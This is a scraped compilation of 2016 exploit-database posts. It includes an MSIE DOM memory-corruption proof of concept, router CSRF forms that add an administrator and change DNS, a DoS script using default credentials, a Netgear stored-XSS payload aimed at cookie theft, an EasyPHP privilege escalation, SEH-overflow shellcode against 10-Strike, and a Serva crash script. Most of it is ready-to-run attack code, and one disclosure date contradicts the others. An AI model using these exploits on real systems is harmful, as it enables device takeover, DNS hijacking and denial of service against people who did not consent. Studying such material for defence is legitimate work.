      // First tag can be any inline but must NOT be closed yet
      // Second tag can be anything that's not inline.
      // "text1" can be anything
      document.write('<s><br>text1');
      // The tree is in good shape.
      show("DOM Tree after first write", get­Element­Tree(document.body));
      // At this point, it appears that MSIE is still waiting for the first tag from the first write to be closed.
      // Inserting a P tag using any of the "Justify*"-, "Indent"- or "Outdent"-exec­Commands will mess up the DOM tree,
      // specifically for the "Justify*"- and "Outdent"-exec­Command:
      // - the S tag will partially become a child of the P tag:
      //      P.last­Child == S (but P.child­Nodes = [BR, text1])
      // - the P tag will partially become a child of the S tag:
      //      S.first­Child == P and S.child­Nodes = [P] (but S.last­Child = text1)
      // - The P partially becomes a child of the BODY tag:
      //      BODY.last­Child = P (but BODY.first­Child = S and BODY.child­Nodes = [S])
      // (The situation is similar for "Indent", but includes a BLOCKQUOTE element)
      document.exec­Command('Select­All');
      document.exec­Command('Justify­Right');
      show("DOM Tree after outdent", get­Element­Tree(document.body));
      // At this point, MSIE is not yet crashing. However, another write will corrupt memory:
      document.write('text2');
      // You will probably not see this popup. If you do, it will display an obviously corrupt DOM element tree.
      show("DOM Tree after write", get­Element­Tree(document.body));
    </script>
  </head>
</html>


<!--
get­Element­Tree.js:

function get­Element­Tree(o­Root­Element, b­Include­All) {
  function get­Element­Name(o­Element) {
    return o­Element ? (o­Element.tag­Name || o­Element.node­Name + ':"' + o­Element.data + '"') : "null";
  }
  function get­Element­Tree­Lines(o­Element, o­Expected­Parent, o­Expected­Previous­Sibling, o­Expected­Next­Sibling,
      s­First­Line­Prefix, s­Sub­Lines­Prefix) {
    if (!o­Element) return [s­First­Line­Prefix + "null"];
    var ao­Children = o­Element.child­Nodes,
        s­Header = s­First­Line­Prefix + get­Element­Name(o­Element);
    try {
      if (o­Expected­Parent && o­Element.parent­Node != o­Expected­Parent)
          s­Header += " (parent:" + get­Element­Name(o­Element.parent­Node) + ")";
    } catch (e) {
      s­Header += " (parent error:" + e.message + ")"; 
    }
    try {
      if (o­Element.previous­Sibling != o­Expected­Previous­Sibling) {
        s­Header += " (previous­Sibling:" + get­Element­Name(o­Element.previous­Sibling) + ")";
        o­Expected­Previous­Sibling && ao­Should­Be­Included­Elements.push(o­Element.previous­Sibling);
      }
    } catch (e) {
      s­Header += " (previous­Sibling error:" + e.message + ")"; 
    }
    try {
      if (o­Element.next­Sibling != o­Expected­Next­Sibling) {
        s­Header += " (next­Sibling:" + get­Element­Name(o­Element.next­Sibling) + ")";
        o­Expected­Next­Sibling && ao­Should­Be­Included­Elements.push(o­Element.next­Sibling);
      }
    } catch (e) {
      s­Header += " (next­Sibling error:" + e.message + ")"; 
    }
    try {
      if (ao­Children.length > 0 && o­Element.first­Child != ao­Children.item(0)) {
        s­Header += " (first­Child:" + get­Element­Name(o­Element.first­Child) + ")";
        ao­Should­Be­Included­Elements.push(o­Element.first­Child);
      }
    } catch (e) {
      s­Header += " (first­Child error:" + e.message + ")"; 
    }
    for (var i = 0; i < ao­Actually­Included­Elements.length; i++) {
      if (ao­Actually­Included­Elements[i] == o­Element) {
        return [s­Header + " => previously referenced!"];
      }
    }
    var s­Last­Child­Error­Line = null;
    try {
      if (ao­Children.length > 0 && o­Element.last­Child != ao­Children.item(ao­Children.length - 1)) {
        s­Last­Child­Error­Line = s­Sub­Lines­Prefix + "\u2514 last­Child:" + get­Element­Name(o­Element.last­Child);
        ao­Should­Be­Included­Elements.push(o­Element.last­Child);
      }
    } catch (e) {
      s­Last­Child­Error­Line = s­Sub­Lines­Prefix + "\u2514 last­Child error:" + e.message;
    }
    ao­Actually­Included­Elements.push(o­Element);
    var as­Tree = [s­Header], o­Previous­Sibling = null;
    for (var i = 0; i < ao­Children.length; i++) {
      try {
        var o­Child = ao­Children.item(i)
      } catch (e) {
        as­Tree.push(s­Sub­Lines­Prefix + (i == ao­Children.length - 1 ? "\u255A" : "\u2560") + "child error:" + e.message);
        continue;
      }
      try {
        var o­Next­Sibling = i + 1 <= ao­Children.length - 1 ? ao­Children.item(i + 1) : null;
      } catch (e) {
        o­Next­Sibling = "error: " + e.message;
      }
      var as­Child­Tree = get­Element­Tree­Lines(o­Child, o­Element, o­Previous­Sibling, o­Next­Sibling, 
          s­Sub­Lines­Prefix + (i == ao­Children.length - 1 ? "\u255A" : "\u2560"),
          s­Sub­Lines­Prefix + (i == ao­Children.length - 1 ? (s­Last­Child­Error­Line ? "\u2502" : " ") : "\u2551"));
      o­Previous­Sibling = o­Child;
      for (j = 0; j < as­Child­Tree.length; j++) {
        as­Tree.push(as­Child­Tree[j]);
      }
    }
    if (s­Last­Child­Error­Line) {
      as­Tree.push(s­Last­Child­Error­Line);
    }
    return as­Tree;
  }
  var ao­Should­Be­Included­Elements = [o­Root­Element], ao­Actually­Included­Elements = []
  var as­Tree­Blocks = [];
  find_­next_­missing_­element:
  while(ao­Should­Be­Included­Elements.length) {
    var o­Should­Be­Included­Element = ao­Should­Be­Included­Elements.pop();
    for (var j = 0; j < ao­Actually­Included­Elements.length; j++) {
      if (o­Should­Be­Included­Element == ao­Actually­Included­Elements[j]) {
        continue find_­next_­missing_­element;
      }
    }
    as­Tree­Lines = get­Element­Tree­Lines(o­Should­Be­Included­Element, o­Should­Be­Included­Element.parent­Node,
        o­Should­Be­Included­Element.previous­Sibling, o­Should­Be­Included­Element.next­Sibling, 
        o­Should­Be­Included­Element.parent­Node ? "\u255A" : "",
        o­Should­Be­Included­Element.parent­Node ? " " : "");
    as­Tree­Blocks.push(as­Tree­Lines.join("\r\n"));
    if (!b­Include­All) break;
  }
  return as­Tree­Blocks.join("\r\n");
}


show.html:

//<!--
  function show(s­Title, s­Message) {
    show­Modal­Dialog("show.html", [s­Title, "<pre>" + s­Message + "</pre>"],
      "dialog­Width:800px; dialog­Height:600px; resizable:yes");
  }
/*-->
<script>
  document.body.inner­HTML = window.dialog­Arguments[1];
  document.title = window.dialog­Arguments[0];
</script>
<!-- */ // -->

Time-line

27 September 2012: This vulnerability was found through fuzzing.
7 November 2012: This vulnerability was submitted to EIP.
27 November 2012: This vulnerability was rejected by EIP.
28 November 2012: This vulnerability was submitted to ZDI.
Between December 2012 and February 2013: Microsoft addresses this vulnerability.
27 February 2012: This vulnerability was rejected by ZDI.
8 December 2016: Details of this vulnerability are released.
I would like to note that although ZDI did not acquire the vulnerability as it was patched before they could finish analysis, they did offer me ZDI reward points as a courtesy.
-->
HireHackking 
# Exploit Title: ARG-W4 ADSL Router - Multiple Vulnerabilities
# Date: 2016-12-11
# Exploit Author: Persian Hack Team
# Discovered by : Mojtaba MobhaM 
# Tested on: Windows AND Linux
# Exploit Demo : http://persian-team.ir/showthread.php?tid=196

1 - Denial of Service

#!/usr/bin/python
import urllib2
import urllib

site=raw_input("Enter Url : ")
site=site+"/form2Upnp.cgi"
username='admin'
password='admin'
p = urllib2.HTTPPasswordMgrWithDefaultRealm()
p.add_password(None, site, username, password)
handler = urllib2.HTTPBasicAuthHandler(p)
opener = urllib2.build_opener(handler)
urllib2.install_opener(opener)

post = {'daemon':' ','ext_if':'pppoe+1','submit.htm?upnp.htm':'Send'}
data = urllib.urlencode(post)
try:
    html = urllib2.urlopen(site,data)
    print ("Done ! c_C")
except:
    print ("Done ! c_C")
	
2-1 Cross-Site Request Forgery (Add Admin)

<html>
  <body>
    <form action="http://192.168.1.1/form2userconfig.cgi" method="POST">
      USER:<input type="text" name="username" value="mobham" />
      <input type="hidden" name="privilege" value="2" />
      PWD:<input type="text" name="newpass" value="mobham" />
      RPWD:<input type="texr" name="confpass" value="mobham" />
      <input type="hidden" name="adduser" value="Add" />
      <input type="hidden" name="hiddenpass" value="" />
      <input type="hidden" name="submit&#46;htm&#63;userconfig&#46;htm" value="Send" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

2-2 Cross-Site Request Forgery (Change DNS)

<html>
  <body>
    <form action="http://192.168.1.1/form2Dns.cgi" method="POST">
      <input type="hidden" name="dnsMode" value="1" />
      DNS<input type="text" name="dns1" value="2&#46;2&#46;2&#46;2" />
      DNS 2<input type="text" name="dns2" value="1&#46;1&#46;1&#46;1" />
      DNS 3<input type="text" name="dns3" value="" />
      <input type="hidden" name="submit&#46;htm&#63;dns&#46;htm" value="Send" />
      <input type="hidden" name="save" value="Apply&#32;Changes" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
HireHackking 
# Exploit Title: Netgear R7000 - XSS via. DHCP hostname
# Date: 11-12-2016
# Exploit Author: Vincent Yiu
# Contact: https://twitter.com/vysecurity
# Vendor Homepage: https://www.netgear.com/
# Category: Hardware / WebApp
# Version: V1.0.7.2_1.1.93 + LATEST to date
 
-Vulnerability
An user who has access to send DHCP via either VPN or Wireless connection can serve a host name with script tags to trigger XSS.

Could be potentially used to connect to open or guest WIFI hotspot and inject stored XSS into admin panel and steal cookie for authentication.

http://RouterIP/start.htm

Then visit the "view who's connected" page.
 
-Proof Of Concept
Set /etc/dhcp/dhclient.conf

send host-name "<script>alert('xss')</script>";
HireHackking 
Title: EasyPHP Devserver Insecure File Permissions Privilege Escalation
Application: EasyPHP Devserver
Versions Affected: 16.1
Vendor URL: http://www.easyphp.org/
Discovered by: Ashiyane Digital Security Team ~ Micle
Tested on: Windows 10 Professional x86
Bugs: Insecure File Permissions Privilege Escalation
Source: http://www.micle.ir/exploits/1003
Date: 10-Dec-2016

Description:
EasyPHP installs by default to "C:\Program Files\EasyPHP-Devserver-16.1" 
with very weak file permissions granting any
user full permission to the exe. This allows opportunity for code 
execution against any other user running the application.

Proof:
C:\Program Files\EasyPHP-Devserver-16.1>cacls run-easyphp-devserver.exe
C:\Program Files\EasyPHP-Devserver-16.1\run-easyphp-devserver.exe 
BUILTIN\Users:(ID)C
NT AUTHORITY\SYSTEM:(ID)F
                                   BUILTIN\Administrators:(ID)F
                                   APPLICATION PACKAGE AUTHORITY\ALL 
APPLICATION PACKAGES:(ID)R

Exploit:
Simply replace run-easyphp-devserver.exe and wait for execution.
HireHackking 
#!python
#####################################################################################
# Exploit title: 10-Strike Network File Search Pro 2.3 Registration code SEH exploit
# Date: 2016-12-10
# Vendor homepage: https://www.10-strike.com/network-file-search/help/pro.shtml
# Download: https://www.10-strike.com/network-file-search/network-file-search-pro.exe
# Tested on: Win7 SP1
# Author: malwrforensics
# Details: Help->Enter registration code... and paste the text from poc.txt
#####################################################################################

def write_poc(fname, buffer):
	fhandle = open(fname , 'wb')
	fhandle.write(buffer)
	fhandle.close()

fname="poc.txt"
buf = '\x41' * 0xfe0

#########################
# Shellcode
# MessageBox ad infinitum
#########################
shellcode = ("\x68\x24\x3F\x30\x41\x58\x35\x70\x41\x70"
"\x41\x50\x59\x68\x41\x41\x41\x41\x58\x35"
"\x41\x41\x41\x41\x50\x50\x50\x50\x51\xC3")

junk = '\x41' * 0x5e
jmp = '\xeb\x82\x41\x41'
nseh = '\xec\x14\x40\x00'
buffer = buf + shellcode + junk + jmp + nseh
write_poc(fname, buffer)
HireHackking 
#!/usr/bin/env python
#
#
# Serva 3.0.0 HTTP Server Module Remote Denial of Service Exploit
#
#
# Vendor: Patrick Masotta
# Product web page: http://www.vercot.com
# Affected version: 3.0.0.1001 (Community, Pro, 32/64bit)
#
# Summary: Serva is a light (~3 MB), yet powerful Microsoft Windows application.
# It was conceived mainly as an Automated PXE Server Solution Accelerator. It bundles
# on a single exe all of the underlying server protocols and services required by the
# most complex PXE network boot/install scenarios simultaneously delivering Windows and
# non-Windows assets to BIOS and UEFI based targets.
#
# Desc: The vulnerability is caused by the HTML (httpd) module and how it handles TCP requests.
# This can be exploited to cause a denial of service attack resulting in application crash.
#
# ----------------------------------------------------------------------------
#
# (c1c.4bc): C++ EH exception - code e06d7363 (first chance)
# (c1c.4bc): C++ EH exception - code e06d7363 (!!! second chance !!!)
# *** WARNING: Unable to verify checksum for C:\Users\lqwrm\Desktop\Serva_Community_32_v3.0.0\Serva32.exe
# *** ERROR: Module load completed but symbols could not be loaded for C:\Users\lqwrm\Desktop\Serva_Community_32_v3.0.0\Serva32.exe
# eax=03127510 ebx=03127670 ecx=00000003 edx=00000000 esi=03127670 edi=031276a0
# eip=74a1c54f esp=03127510 ebp=03127560 iopl=0         nv up ei pl nz ac po nc
# cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000212
# KERNELBASE!RaiseException+0x58:
# 74a1c54f c9              leave
# 0:013> kb
# # ChildEBP RetAddr  Args to Child              
# 00 03127560 004abaaf e06d7363 00000001 00000003 KERNELBASE!RaiseException+0x58
# WARNING: Stack unwind information not available. Following frames may be wrong.
# 01 03127598 004cc909 031275b8 005e13e8 6ca23755 Serva32+0xabaaf
# 02 03127608 004085d3 0211ecf8 03127670 ffffffff Serva32+0xcc909
# 03 0312761c 004089a5 031276a0 fffffffd 00000004 Serva32+0x85d3
# 04 0312764c 00408f01 03127670 fffffffd 00000004 Serva32+0x89a5
# 05 03127698 00413b38 00000000 0040007a 00000000 Serva32+0x8f01
# 06 031277d8 00000000 00000000 00000000 00000000 Serva32+0x13b38
#
# ----------------------------------------------------------------------------
#
# Tested on: Microsoft Windows 7 Professional SP1 (EN)
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2016-5378
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5378.php
#
#
# 17.11.2016
#

import sys,socket

if len(sys.argv) < 3:

	print '\nUsage: ' + sys.argv[0] + ' <target> <port>\n'
	print 'Example: ' + sys.argv[0] + ' 172.19.0.214 80\n'
	sys.exit(0)
 
host = sys.argv[1]
port = int(sys.argv[2])
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host, port))
s.settimeout(251)
s.send('z')
s.close